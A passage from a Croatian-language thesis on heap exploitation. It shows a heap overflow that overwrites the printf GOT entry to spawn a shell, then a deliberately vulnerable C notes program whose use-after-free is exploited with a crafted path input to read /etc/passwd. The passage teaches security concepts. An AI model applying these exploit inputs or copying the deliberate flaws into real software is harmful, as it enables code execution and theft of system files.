   0x00000000004011b3 <+74>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004011b7 <+78>:    mov    DWORD PTR [rax],0x15
   0x00000000004011bd <+84>:    mov    edi,0x32
   0x00000000004011c2 <+89>:    call   0x401060 <malloc@plt>
   0x00000000004011c7 <+94>:    mov    rdx,rax
   0x00000000004011ca <+97>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004011ce <+101>:   mov    QWORD PTR [rax+0x8],rdx
   0x00000000004011d2 <+105>:   mov    rax,QWORD PTR [rbp-0x20]
   0x00000000004011d6 <+109>:   add    rax,0x8
   0x00000000004011da <+113>:   mov    rdx,QWORD PTR [rax]
   0x00000000004011dd <+116>:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004011e1 <+120>:   mov    rax,QWORD PTR [rax+0x8]
   0x00000000004011e5 <+124>:   mov    rsi,rdx
   0x00000000004011e8 <+127>:   mov    rdi,rax
   0x00000000004011eb <+130>:   call   0x401030 <strcpy@plt>
   0x00000000004011f0 <+135>:   mov    rax,QWORD PTR [rbp-0x20]
   0x00000000004011f4 <+139>:   add    rax,0x10
   0x00000000004011f8 <+143>:   mov    rdx,QWORD PTR [rax]
   0x00000000004011fb <+146>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004011ff <+150>:   mov    rax,QWORD PTR [rax+0x8]
   0x0000000000401203 <+154>:   mov    rsi,rdx
   0x0000000000401206 <+157>:   mov    rdi,rax
   0x0000000000401209 <+160>:   call   0x401030 <strcpy@plt>
```

```
   0x000000000040120e <+165>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401212 <+169>:   mov    rdx,QWORD PTR [rax+0x8]
   0x0000000000401216 <+173>:   mov    rax,QWORD PTR [rbp-0x10]
   0x000000000040121a <+177>:   mov    rax,QWORD PTR [rax+0x8]
   0x000000000040121e <+181>:   mov    rsi,rax
   0x0000000000401221 <+184>:   lea    rdi,[rip+0xde4]        # 0x40200c
   0x0000000000401228 <+191>:   mov    eax,0x0
   0x000000000040122d <+196>:   call   0x401050 <printf@plt>
   0x0000000000401232 <+201>:   mov    eax,0x0
   0x0000000000401237 <+206>:   leave
   0x0000000000401238 <+207>:   ret
End of assembler dump.
gdb-peda$ disas 0x401050
Dump of assembler code for function printf@plt:
   0x0000000000401050 <+0>:     jmp    QWORD PTR [rip+0x2fd2]        # 0x404028 <
       printf@got.plt>
   0x0000000000401056 <+6>:     push   0x2
   0x000000000040105b <+11>:    jmp    0x401020
End of assembler dump.
gdb-peda$ x/wx 0x404028
0x404028 <printf@got.plt>:      0x00401056
```

Rastavljanjem poziva `printf` funkcije, možemo vidjeti spomenuti PLT isječak za `printf`, kao i njegovo mjestu u globalnoj tablici razmaka. Naime, Kako na početku programa adresa `printf` funkcije još nije poznata te se tek treba zapisati u globanu tablicu razmaka prije prvog poziva, adresa u globalnoj tablici razmaka jednaka je `0x401056`, na kojoj se zapravo nalazi druga instrukcija PLT koda za `printf`. Efektivno, prije nego što se promijeni vrijednost u globalnoj tablici razmaka, PLT nastavlja dalje sa izvršavanjem koda te kasnije pronalazi pravu adresu `printf` funkcije u virtualnoj memoriji. Sve što nam je potrebeno učiniti kako bismo direktno skočili na proizvoljno mjestu u memoriji je promijeniti vrijednost za `printf` funckiju u globalnoj tablici razmaka. U ovom slučaju, zamijeniti ćemo je s adresom funkcije `ljuska` i tako promijeniti tijek izvršavanja programa i pokrenuti ljusku operacijskog sustava.

```
gdb-peda$ p ljuska
$5 = {<text variable, no debug info>} 0x401156 <ljuska>
gdb-peda$ r $(ragg2 -P 72 -r; echo -e '\x28\x40\x40') $(echo -e '\x56\x11\x40')
Starting program: /home/laki/Documents/Faks/zavrsni/primjeri/heap/preljev-na-hrpi $(
    ragg2 -P 72 -r; echo -e '\x28\x40\x40') $(echo -e '\x56\x11\x40')
[Attaching after process 3339163 vfork to child process 3339167]
[New inferior 3 (process 3339167)]
[Detaching vfork parent process 3339163 after child exec]
[Inferior 2 (process 3339163) detached]
process 3339167 is executing new program: /usr/bin/bash
process 3339167 is executing new program: /usr/bin/bash
sh-5.0$
```

Koristimo 72 znaka kako bismo dosegli pokazivač imena za drugog korisnika te taj pokazivač prepisujemo adresom `0x404028`, gdje se nalazi (odnosno ne nalazi) adresa za `printf` u globalnoj tablici razmaka. Nakon toga, drugim argumentom zadajemo vrijednost koju želimo zapisati na tu lokaciju iskoristivši preljev pokazivača koji se koristi za drugi `strcpy` poziv. U ovom slučaju, zapisujemo `0x401156`, gdje nam se nalazi funkcija za pokretanje ljuske operacijskog

sustava.

Naravno, program radi očekivano i izvan GNU debuggera.

```
[laki heap]$ ./preljev-na-hrpi $(ragg2 -P 72 -r; echo -e "\x28\x40\x40") $(echo -e
    "\x56\x11\x40")
sh-5.0$ id
uid=1000(laki) gid=1001(laki) groups=1001(laki),54(lock),90(network),98(power),987(
    uucp),991(lp),998(wheel)
```

3.5. Use-after-free ranjivosti

Kao što sam naziv predlaže, tzv. use-after-free ranjivosti nastaju kada se koristi dio memorije na hrpi koji je prethodno već bio oslobođen koristeći funkciju `free`. Korištenje oslobođenog bloka memorije na hrpi ozbiljan je sigurnosni problem jer gotovo svakim sljedećim alociranjem nekog novog bloka memorije na hrpi postoji mogućnost da će se taj novi blok memorije alocirati upravo na tom prethodno oslobođenom bloku. Tada teorijski postoji više pokazivača na isti blok memorije na hrpi, koji pokazuju na nekakve različite strukture koje se zapravo nalaze na istom bloku memorije. Drugim riječima, kako tada jednostavno mogu postojati dva pokazivača različitog tipa koji pokazuju na memoriju na hrpi koja se preklapa, podaci se interpretiraju pogrešno i dolazi do nedefiniranog ponašanja. Važno je napomenuti da su ove ranjivosti vrlo česte te se svakodnevno otkrivaju nove ranjivosti ovoga tipa u često korištenim programima, poput različitih web preglednika.

Navedenu ranjivost najjednostavnije je objasniti na primjeru.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct biljeska{
    char naziv[50];
    char putanja[50];
} biljeska;


biljeska* biljeske[100];
char brojBiljeski = 0;

void dodajNovuBiljesku(){
    char putanja[] = "/tmp/tmp.biljeska_XXXXXX";
    FILE *fpt = fdopen(mkstemp(putanja), "w");

    biljeske[brojBiljeski] = (biljeska*) malloc(sizeof(biljeska));
    memset(biljeske[brojBiljeski], 0 , sizeof(biljeska));
    printf("Naziv: ");
    fflush(stdout);

    int c;
    while ((c = getchar()) != '\n' && c != EOF) { }
```

```
    fgets(biljeske[brojBiljeski]->naziv, 50, stdin);
    printf("Sadrzaj: ");
    char* sadrzaj = malloc(100);
    fgets(sadrzaj, 100, stdin);
    fputs(sadrzaj, fpt);
    fclose(fpt);
    strcpy(biljeske[brojBiljeski]->putanja, putanja);
    brojBiljeski++;
    free(sadrzaj);
}

void ispisiSveBiljeske(){
    for(int i = 0; i < brojBiljeski; i++){
        printf("Biljeska %d.\n", i);
        printf("Naziv: %s\n", &biljeske[i]->naziv);
        puts("Sadrzaj:");
        char *sadrzaj = malloc(100);
        FILE *fp = fopen(biljeske[i]->putanja, "r");
        while(fgets(sadrzaj, 100, fp)){
            printf("%s", sadrzaj);
        }
        fclose(fp);
        free(sadrzaj);
        puts("");

    }
}

int main(int argc, char **argv){
    int brojBiljeske;
    while(1){
        printf("1. Dodaj novu biljesku\n");
        printf("2. Ispisi sve biljeske\n");
        printf("3. Izbrisi biljesku\n");

        int izbor;
        scanf("%d", &izbor);

        switch(izbor){
            case 1:
                dodajNovuBiljesku();
                break;
            case 2:
                ispisiSveBiljeske();
                break;
            case 3:
                scanf("%d", &brojBiljeske);
                if (brojBiljeske < brojBiljeski){
                    printf("Brisem br. %d!\n", brojBiljeske);
                    free(biljeske[brojBiljeske]);
                }
                break;
        }
```

```
    }
}
```

Program kompajliramo sa `gcc uaf.c -o uaf`, bez bilo kakavih dodatnih zastavica. ASLR je također uključen na sustavu.

Primjer oponaša nekakav jednostavan program za upravljanje bilješkama. Možemo dodati novu bilješku, ispisati sve bilješke te izbrisati određenu bilješku. Prilikom dodavanja bilješke, korisnika tražimo za unos naziva bilješke, kao i za njen sadržaj. Koristeći funkciju `mkstemp` sadržaj bilješke spremamo pod nasumičnim imenom (uzimajući u obzir predložak) u `/tmp` direktorij. Sve te podatke spremamo u strukture tipa `biljeska`, u kojoj se nalazi polje od 50 bajtova za naziv bilješke, kao i 50 bajtova za putanju na kojoj je bilješka spremljena. Objekti strukture `biljeska` alociraju se na hrpi, dok globalna varijabla sadrži sve pokazivače na alocirane strukture na hrpi, kao i podatak o trenutnom broj bilješki. Također, prilikom učitavanja teksta za sadržaj bilješke iz standardnog ulaza, na hrpi također alociramo 100 bajtova, koje potom zapisujemo na disk te popunjavamo polje putanje bilješke Na kraju, alociranu memoriju na hrpi za ulazni string sadržaja oslobađamo funkcijom `free`. Funkcija `ispisiSveBiljeske` čita sve alocirane strukture iz globalnog polja pokazivača, ispisuje podatke o svakoj bilješci te čita sadržaj bilješke iz datoteke na čiju lokaciju "pokazuje" atribut `putanja` unutar strukture bilješke. U ovoj funkciji također koristimo `malloc` i `free`, za čitanje podataka iz datoteke i spremanja istih u spremnik prije nego što ih ispišemo na standardni izlaz. U `main` funkciji nalazi se izbornik za upravljanje bilješkama koji poziva odgovarajuće funkcije, kao i isječak koda zadužen za "brisanje" bilješki. Problem se nalazi upravo u brisanju bilješki. Naime, iako memoriju na hrpi koja sadrži izabranu strukturu bilješke oslobađamo, u globalnom polju koje sadrži alocirane strukture bilješki nigdje ne bilježimo podatak o tome da je bilješka izbrisana (postavljanjem pokazivača na neku nevažeću vrijednost ili jednostavno izbacivanjem pokazivača iz polja). To dovodi do situacije gdje smo oslobodili memoriju određenih, izbrisanih bilješki, ali ih još uvijek nastavljamo koristiti u nekom drugom dijelu programa (u ovom slučaju, u ispisu bilješki) ne uzimajući u obzir da je taj memorijski blok na hrpi sada slobodan i nevažeći, što znači da neki drugi poziv `malloc` funkcije možda vrati upravo taj blok memorije na hrpi za korišenje na nekom drugom dijelu programa.

Možemo pokrenuti program i preciznije prikazati problem.

```
[laki use-after-free]$ ./a.out
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
1
Naziv: šBiljeka 1
Sadrzaj: Nova biljeska
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
2
Biljeska 0.
Naziv: Biljeska 1
```

```
Sadrzaj:
Nova biljeska

1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
3
Broj biljeske: 0
Brisem br. 0!
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
2
Biljeska 0.
Naziv:  UUUU
Sadrzaj:
Nova biljeska

1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku

1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
1
Naziv: šBiljeka 2
Sadrzaj: žSadraj nove biljeske
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
2
Biljeska 0.
Naziv: Biljeska 2

Sadrzaj:ž
Sadraj nove biljeske

Biljeska 1.
Naziv: Biljeska 2

Sadrzaj:ž
Sadraj nove biljeske

1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
```

Kao što vidimo, nakon brisanja bilješke program i dalje ispisuje i koristi izbrisanu bilješku. Također, možemo vidjeti da naziv postaje nevažeći, jer `free` algoritam nakon oslobađanja memorije zapisuje nekakve dodatne podatke u stanju memorije na hrpi. Sadržaj bilješke ostao

je isti, jer `free` nakon oslobađanja memorije zapravo ne briše prethodno popunjene podatke te je iz tog razlika dobra praksa popuniti alocirani blok memorije na hrpi nulama funkcijom `memset`. Dodamo li novu bilješku nakon "brisanja" prethodne, možemo vidjeti da nam se prilikom ispisa svih bilješki zapravo ispisuje dvije iste bilješke. Razlog je jednostavan, kako smo memorijski blok prve bilješke oslobodili, sljedećim pozivom funkcije `malloc` odmah na početku funkcije `dodajNovuBiljesku` za drugu smo bilješku alocirali isti memorijski blok na hrpi koji se prethodno koristio za prvu bilješku. Kako je novoj bilješci alociran memorijski prostor koji se prethodno koristio za prvu bilješku (čiji pokazivač još uvijek koristimo) u ispisu sada imamo dvije jednake bilješke.

Podsjetimo se, u funkciji `dodajBiljesku` zapravo imamo dva poziva funkcije `malloc`. Jedan se koristi za alociranje same strukture bilješke, dok se drugi privremeno koristi za čitanje podataka iz standardnog ulaza, koji se kasnije zapisuju na disk. To znači da bismo, teoretski, mogli unijeti dvije bilješke, nakon toga ih izbrisati, unijeti novu bilješku, za čiju bismo strukturu prvim pozivom funkcije `malloc` vrlo vjerojatno dobili isti blok memorije koji se koristio za jednu od dvaju prethodno oslobođenih bilješki, te drugim `malloc` pozivom (koji se koristi za čitanje sadržaja bilješke iz standardnog ulaza), upravljati strukturom druge prethodno izbrisane bilješke, kada bismo ponovno dobili jednak blok memorije koji se prethodno koristio za drugu bilješku. Takav scenarij omogućio bih nam da u potpunosti upravljamo svim atributima strukture bilješke, uključujući putanju, koju možemo iskoristiti za čitanje različitih proizvoljnih datoteka na disku (eng. *Arbitrary File Read*), koje inače ne bismo smjeli čitati iz ovog programa, što predstavlja ozbiljan sigurnosni problem, pogotovo u programima koji su "izloženi" internetu.

Adrese koje nam vraća `malloc` za alokaciju strukture bilješki te sadržaja možemo provjeriti unutar GNU debuggera. Možemo postaviti prijelomne točke nakon relavantnih `malloc` poziva te ih međusobno usporediti. Kako bismo što jednostavnije prikazali adrese koje smo dobili pozivima `malloc` funkcija, bez dodatnih kontekstualnih podataka, u ovom primjeru nećemo koristiti *Python Exploit Development Assistance* razvojni okvir.

```
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x1530
Starting program: /home/laki/Documents/Faks/zavrsni/primjeri/heap/use-after-free/uaf

Temporary breakpoint 1, 0x0000555555555530 in main ()
(gdb) disas dodajNovuBiljesku
Dump of assembler code for function dodajNovuBiljesku:
   0x0000555555555229 <+0>:     push   rbp
   0x000055555555522a <+1>:     mov    rbp,rsp
   0x000055555555522d <+4>:     push   rbx
   0x000055555555522e <+5>:     sub    rsp,0x58
   0x0000555555555232 <+9>:     mov    rax,QWORD PTR fs:0x28
   0x000055555555523b <+18>:    mov    QWORD PTR [rbp-0x18],rax
   0x000055555555523f <+22>:    xor    eax,eax
   0x0000555555555241 <+24>:    movabs rax,0x706d742f706d742f
   0x000055555555524b <+34>:    movabs rdx,0x6b73656a6c69622e
   0x0000555555555255 <+44>:    mov    QWORD PTR [rbp-0x40],rax
   0x0000555555555259 <+48>:    mov    QWORD PTR [rbp-0x38],rdx
   0x000055555555525d <+52>:    movabs rax,0x5858585858585f61
```

```
0x0000555555555267 <+62>:    mov    QWORD PTR [rbp-0x30],rax
0x000055555555526b <+66>:    mov    BYTE PTR [rbp-0x28],0x0
0x000055555555526f <+70>:    lea    rax,[rbp-0x40]
0x0000555555555273 <+74>:    mov    rdi,rax
0x0000555555555276 <+77>:    call   0x5555555550f0 <mkstemp@plt>
0x000055555555527b <+82>:    lea    rsi,[rip+0xd82]        # 0x555555556004
0x0000555555555282 <+89>:    mov    edi,eax
0x0000555555555284 <+91>:    call   0x555555555100 <fdopen@plt>
0x0000555555555289 <+96>:    mov    QWORD PTR [rbp-0x50],rax
0x000055555555528d <+100>:   movzx  eax,BYTE PTR [rip+0x2e45]        # 0
    x5555555580d9 <brojBiljeski>
0x0000555555555294 <+107>:   movsx  ebx,al
0x0000555555555297 <+110>:   mov    edi,0x64
0x000055555555529c <+115>:   call   0x5555555550d0 <malloc@plt>
0x00005555555552a1 <+120>:   mov    rcx,rax
0x00005555555552a4 <+123>:   movsxd rax,ebx
0x00005555555552a7 <+126>:   lea    rdx,[rax*8+0x0]
0x00005555555552af <+134>:   lea    rax,[rip+0x2e2a]        # 0x5555555580e0 <
    biljeske>
0x00005555555552b6 <+141>:   mov    QWORD PTR [rdx+rax*1],rcx
0x00005555555552ba <+145>:   movzx  eax,BYTE PTR [rip+0x2e18]        # 0
    x5555555580d9 <brojBiljeski>
0x00005555555552c1 <+152>:   movsx  eax,al
0x00005555555552c4 <+155>:   cdqe
0x00005555555552c6 <+157>:   lea    rdx,[rax*8+0x0]
0x00005555555552ce <+165>:   lea    rax,[rip+0x2e0b]        # 0x5555555580e0 <
    biljeske>
0x00005555555552d5 <+172>:   mov    rax,QWORD PTR [rdx+rax*1]
0x00005555555552d9 <+176>:   mov    edx,0x64
0x00005555555552de <+181>:   mov    esi,0x0
0x00005555555552e3 <+186>:   mov    rdi,rax
0x00005555555552e6 <+189>:   call   0x5555555550a0 <memset@plt>
0x00005555555552eb <+194>:   lea    rdi,[rip+0xd14]        # 0x555555556006
0x00005555555552f2 <+201>:   mov    eax,0x0
0x00005555555552f7 <+206>:   call   0x555555555080 <printf@plt>
0x00005555555552fc <+211>:   mov    rax,QWORD PTR [rip+0x2dbd]        # 0
    x5555555580c0 <stdout@@GLIBC_2.2.5>
0x0000555555555303 <+218>:   mov    rdi,rax
0x0000555555555306 <+221>:   call   0x5555555550e0 <fflush@plt>
0x000055555555530b <+226>:   nop
0x000055555555530c <+227>:   call   0x5555555550c0 <getchar@plt>
0x0000555555555311 <+232>:   mov    DWORD PTR [rbp-0x54],eax
0x0000555555555314 <+235>:   cmp    DWORD PTR [rbp-0x54],0xa
0x0000555555555318 <+239>:   je     0x555555555320 <dodajNovuBiljesku+247>
0x000055555555531a <+241>:   cmp    DWORD PTR [rbp-0x54],0xffffffff
0x000055555555531e <+245>:   jne    0x55555555530c <dodajNovuBiljesku+227>
0x0000555555555320 <+247>:   mov    rax,QWORD PTR [rip+0x2da9]        # 0
    x5555555580d0 <stdin@@GLIBC_2.2.5>
0x0000555555555327 <+254>:   movzx  edx,BYTE PTR [rip+0x2dab]        # 0
    x5555555580d9 <brojBiljeski>
0x000055555555532e <+261>:   movsx  edx,dl
0x0000555555555331 <+264>:   movsxd rdx,edx
0x0000555555555334 <+267>:   lea    rcx,[rdx*8+0x0]
```

```
0x000055555555533c <+275>:   lea    rdx,[rip+0x2d9d]        # 0x5555555580e0 <
    biljeske>
0x0000555555555343 <+282>:   mov    rdx,QWORD PTR [rcx+rdx*1]
0x0000555555555347 <+286>:   mov    rcx,rdx
0x000055555555534a <+289>:   mov    rdx,rax
0x000055555555534d <+292>:   mov    esi,0x32
0x0000555555555352 <+297>:   mov    rdi,rcx
0x0000555555555355 <+300>:   call   0x5555555550b0 <fgets@plt>
0x000055555555535a <+305>:   lea    rdi,[rip+0xcad]        # 0x55555555600e
0x0000555555555361 <+312>:   mov    eax,0x0
0x0000555555555366 <+317>:   call   0x555555555080 <printf@plt>
0x000055555555536b <+322>:   mov    edi,0x64
0x0000555555555370 <+327>:   call   0x5555555550d0 <malloc@plt>
0x0000555555555375 <+332>:   mov    QWORD PTR [rbp-0x48],rax
0x0000555555555379 <+336>:   mov    rdx,QWORD PTR [rip+0x2d50]        # 0
    x5555555580d0 <stdin@@GLIBC_2.2.5>
0x0000555555555380 <+343>:   mov    rax,QWORD PTR [rbp-0x48]
0x0000555555555384 <+347>:   mov    esi,0x64
0x0000555555555389 <+352>:   mov    rdi,rax
0x000055555555538c <+355>:   call   0x5555555550b0 <fgets@plt>
0x0000555555555391 <+360>:   mov    rdx,QWORD PTR [rbp-0x50]
0x0000555555555395 <+364>:   mov    rax,QWORD PTR [rbp-0x48]
0x0000555555555399 <+368>:   mov    rsi,rdx
0x000055555555539c <+371>:   mov    rdi,rax
0x000055555555539f <+374>:   call   0x555555555090 <fputs@plt>
0x00005555555553a4 <+379>:   mov    rax,QWORD PTR [rbp-0x50]
0x00005555555553a8 <+383>:   mov    rdi,rax
0x00005555555553ab <+386>:   call   0x555555555060 <fclose@plt>
0x00005555555553b0 <+391>:   movzx  eax,BYTE PTR [rip+0x2d22]        # 0
    x5555555580d9 <brojBiljeski>
0x00005555555553b7 <+398>:   movsx  eax,al
0x00005555555553ba <+401>:   cdqe
0x00005555555553bc <+403>:   lea    rdx,[rax*8+0x0]
0x00005555555553c4 <+411>:   lea    rax,[rip+0x2d15]        # 0x5555555580e0 <
    biljeske>
0x00005555555553cb <+418>:   mov    rax,QWORD PTR [rdx+rax*1]
0x00005555555553cf <+422>:   lea    rdx,[rax+0x32]
0x00005555555553d3 <+426>:   lea    rax,[rbp-0x40]
0x00005555555553d7 <+430>:   mov    rsi,rax
0x00005555555553da <+433>:   mov    rdi,rdx
0x00005555555553dd <+436>:   call   0x555555555040 <strcpy@plt>
0x00005555555553e2 <+441>:   movzx  eax,BYTE PTR [rip+0x2cf0]        # 0
    x5555555580d9 <brojBiljeski>
0x00005555555553e9 <+448>:   add    eax,0x1
0x00005555555553ec <+451>:   mov    BYTE PTR [rip+0x2ce7],al        # 0
    x5555555580d9 <brojBiljeski>
0x00005555555553f2 <+457>:   mov    rax,QWORD PTR [rbp-0x48]
0x00005555555553f6 <+461>:   mov    rdi,rax
0x00005555555553f9 <+464>:   call   0x555555555030 <free@plt>
0x00005555555553fe <+469>:   nop
0x00005555555553ff <+470>:   mov    rax,QWORD PTR [rbp-0x18]
0x0000555555555403 <+474>:   xor    rax,QWORD PTR fs:0x28
0x000055555555540c <+483>:   je     0x555555555413 <dodajNovuBiljesku+490>
```

```
   0x000055555555540e <+485>:   call   0x555555555070 <__stack_chk_fail@plt>
   0x0000555555555413 <+490>:   add    rsp,0x58
   0x0000555555555417 <+494>:   pop    rbx
   0x0000555555555418 <+495>:   pop    rbp
   0x0000555555555419 <+496>:   ret
End of assembler dump.
(gdb) b* 0x00005555555552a1
Breakpoint 2 at 0x5555555552a1
(gdb) b* 0x0000555555555375
Breakpoint 3 at 0x555555555375
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>p/x $rax
>end
(gdb) c
Continuing.
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
1
$1 = 0x555555559cb0

Breakpoint 2, 0x00005555555552a1 in dodajNovuBiljesku ()
(gdb) c
Continuing.
Naziv: Biljeska 1
$2 = 0x555555559d20

Breakpoint 3, 0x0000555555555375 in dodajNovuBiljesku ()
(gdb) c
Continuing.
Sadrzaj: Sadrzaj 1
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
1
$3 = 0x555555559d20

Breakpoint 2, 0x00005555555552a1 in dodajNovuBiljesku ()
(gdb) c
Continuing.
Naziv: Biljeska 2
$4 = 0x555555559d90

Breakpoint 3, 0x0000555555555375 in dodajNovuBiljesku ()
(gdb) c
Continuing.
Sadrzaj: Sadrzaj 2
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
3
```

```
Broj biljeske: 0
Brisem br. 0!
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
3
Broj biljeske: 1
Brisem br. 1!
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
1
$5 = 0x555555559d20

Breakpoint 2, 0x00005555555552a1 in dodajNovuBiljesku ()
(gdb) c
Continuing.
Naziv: Biljeska 3
$6 = 0x555555559cb0

Breakpoint 3, 0x0000555555555375 in dodajNovuBiljesku ()
(gdb) c
Continuing.
Sadrzaj: Sadrzaj 3
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
```

Nakon svakog poziva `malloc` funkcije adresa alociranog bloka nalazi nam se u `rax` registru te sada jednostavno možemo usporediti adrese. Kao što vidimo, prilikom alokacije prve bilješke, struktura je alocirana na adresi `0x555555559cb0`, dok je njen sadržaj privremeno alociran na adresi `0x555555559d20`. Druga bilješka alocirana je na adresi `0x555555559d20` (gdje se prethodno nalazio privremeni sadržaj prve bilješke), dok se novi sadržaj nalazi na adresi `0x555555559d90`. Nakon "brisanja", tj. oslobađanja memorijskog prostora na hrpi za dvije unešene bilješke, te stvaranja nove bilješke, možemo vidjeti da se struktura nove bilješke nalazi na adresi `0x555555559d20`, što odgovara adresi gdje je prethodno bila alocirana druga bilješka, dok se novi sadržaj nalazi na adresi `0x555555559cb0`, gdje se prethodno nalazila struktura prve bilješke. Iako je važno napomenuti da prikupljene adresu u GNU debuggeru nisu zapravo jednake adresama na kojima će prilikom normalnog izvođenja programa biti smješteni ti podaci (zbog ASLR-a), ali nam za svrhu uspoređivanja adresa nisu niti važne stvarne adrese.

Iz prikupljenih informacija možemo zaključiti da, nakon brisanja dvije bilješke, trećom bilješkom možemo upravljati memorijom gdje su se prethodno nalazile te dvije oslobođene bilješke. Stoga, procedura je sljedeća – unijeti dvije bilješke, "izbrisati" ih, unijeti novu bilješku s proizvoljnim nazivom te odgovarajućim sadržajem koji odgovara strukturi bilješke. Naime, struktura bilješke sastoji se od 50 bajtova za naziv bilješke te 50 bajtova za putanju bilješke. Za naziv bilješke unosimo štogod (u ovom slučaju 50 slova A kao razmak do putanje) te za putanju moramo također unijeti svih 50 bajtova, jer će nam u protivnom u putanja imati znak za novi redak (`\n`, kraj unosa), znak kakav se najčešće ne nalazi u nazivu datoteka te time

ne bismo mogli ispisati sadržaj gotovo n jedne datoteke. Upravo zato, kako bismo ispunili svih 50 bajtova za putanju datoteke, na početak putanje dodajemo određen broj kosih crta (što označava korijenski direktorij na Linux operacijskim sustava), kako bi nam konačna putanja sadržavala točno znakova. U ovom slučaju ispisati ćemo sadržaj datoteke `/etc/passwd` koja sadrži podatke o korisnicima operacijskih sustava, koja može biti jako korisna za enumeraciju cijelog sustava. Na isti način mogli bismo ispisati i sadržaj bilo koje druge datoteke za koju tzv. –efektivan korisnik programa ima pravo čitati. Na primjer, kada bi proces bio pokrenut od strane `root` korisnika, ili bi izvršna datoteke bila `setuid` tipa (gdje je vlasnik datoteke `root` korisnik) potencijalno bismo mogli ispisati i sadržaj `/etc/shadow` datoeke, koja sadrži sažetke korisničkih zaporki.

```
[laki use-after-free]$ ./uaf
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
1
Naziv: Prva biljeska
Sadrzaj: Prvi sadrzaj
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
1
Naziv: Druga biljeska
Sadrzaj: Drugi sadrzaj
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
3
Broj biljeske: 0
Brisem br. 0!
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
3
Broj biljeske: 1
Brisem br. 1!
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
1
Naziv: Treca biljeska
Sadrzaj: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ////////////////////////////////////etc/passwd
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
2
Biljeska 0.
Naziv: UUUU
Sadrzaj:
root:x:0:0::/root:/bin/bash
```

```
nobody:x:65534:65534:Nobody:/:/sbin/nologin
dbus:x:81:81:System Message Bus:/:/sbin/nologin
bin:x:1:1::/:/sbin/nologin
daemon:x:2:2::/:/sbin/nologin
mail:x:8:12::/var/spool/mail:/sbin/nologin
ftp:x:14:11::/srv/ftp:/sbin/nologin
http:x:33:33::/srv/http:/sbin/nologin
systemd-journal-remote:x:982:982:systemd Journal Remote:/:/sbin/nologin
systemd-coredump:x:981:981:systemd Core Dumper:/:/sbin/nologin
uuidd:x:68:68::/:/sbin/nologin
dnsmasq:x:980:980:dnsmasq daemon:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
usbmux:x:140:140:usbmux user:/:/sbin/nologin
avahi:x:979:979:Avahi mDNS/DNS-SD daemon:/:/sbin/nologin
colord:x:978:978:Color management daemon:/var/lib/colord:/sbin/nologin
cups:x:209:209:cups helper user:/:/sbin/nologin
deluge:x:977:977:Deluge BitTorrent daemon:/srv/deluge:/sbin/nologin
git:x:976:976:git daemon user:/:/usr/bin/git-shell
lightdm:x:620:620:Light Display Manager:/var/lib/lightdm:/sbin/nologin
nm-openconnect:x:975:975:NetworkManager OpenConnect:/:/sbin/nologin
nm-openvpn:x:974:974:NetworkManager OpenVPN:/:/sbin/nologin
ntp:x:87:87:Network Time Protocol:/var/lib/ntp:/bin/false
polkitd:x:102:102:PolicyKit daemon:/:/sbin/nologin
laki:x:1000:1001:laki:/home/laki:/usr/bin/zsh
rtkit:x:133:133:RealtimeKit:/proc:/sbin/nologin
mpd:x:45:45::/var/lib/mpd:/sbin/nologin
mopidy:x:46:46:Mopidy User:/var/lib/mopidy:/sbin/nologin
postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash
transmission:x:169:169:Transmission BitTorrent Daemon:/var/lib/transmission:/sbin/
    nologin
dhcp:x:972:972:DHCP daemon:/:/sbin/nologin
systemd-network:x:971:971:systemd Network Management:/:/sbin/nologin
systemd-resolve:x:970:970:systemd Resolver:/:/sbin/nologin
systemd-timesync:x:969:969:systemd Time Synchronization:/:/sbin/nologin
mysql:x:967:967:MariaDB:/var/lib/mysql:/sbin/nologin
geoclue:x:966:966:Geoinformation service:/var/lib/geoclue:/sbin/nologin
minidlna:x:958:958:minidlna server:/var/cache/minidlna:/sbin/nologin

Biljeska 1.
Naziv: Treca biljeska

Sadrzaj:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ////////////////////////////////////etc/passwd
Biljeska 2.
Naziv: Treca biljeska

Sadrzaj:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ////////////////////////////////////etc/passwd
1. Dodaj novu biljesku
2. Ispisi sve biljeske
3. Izbrisi biljesku
```

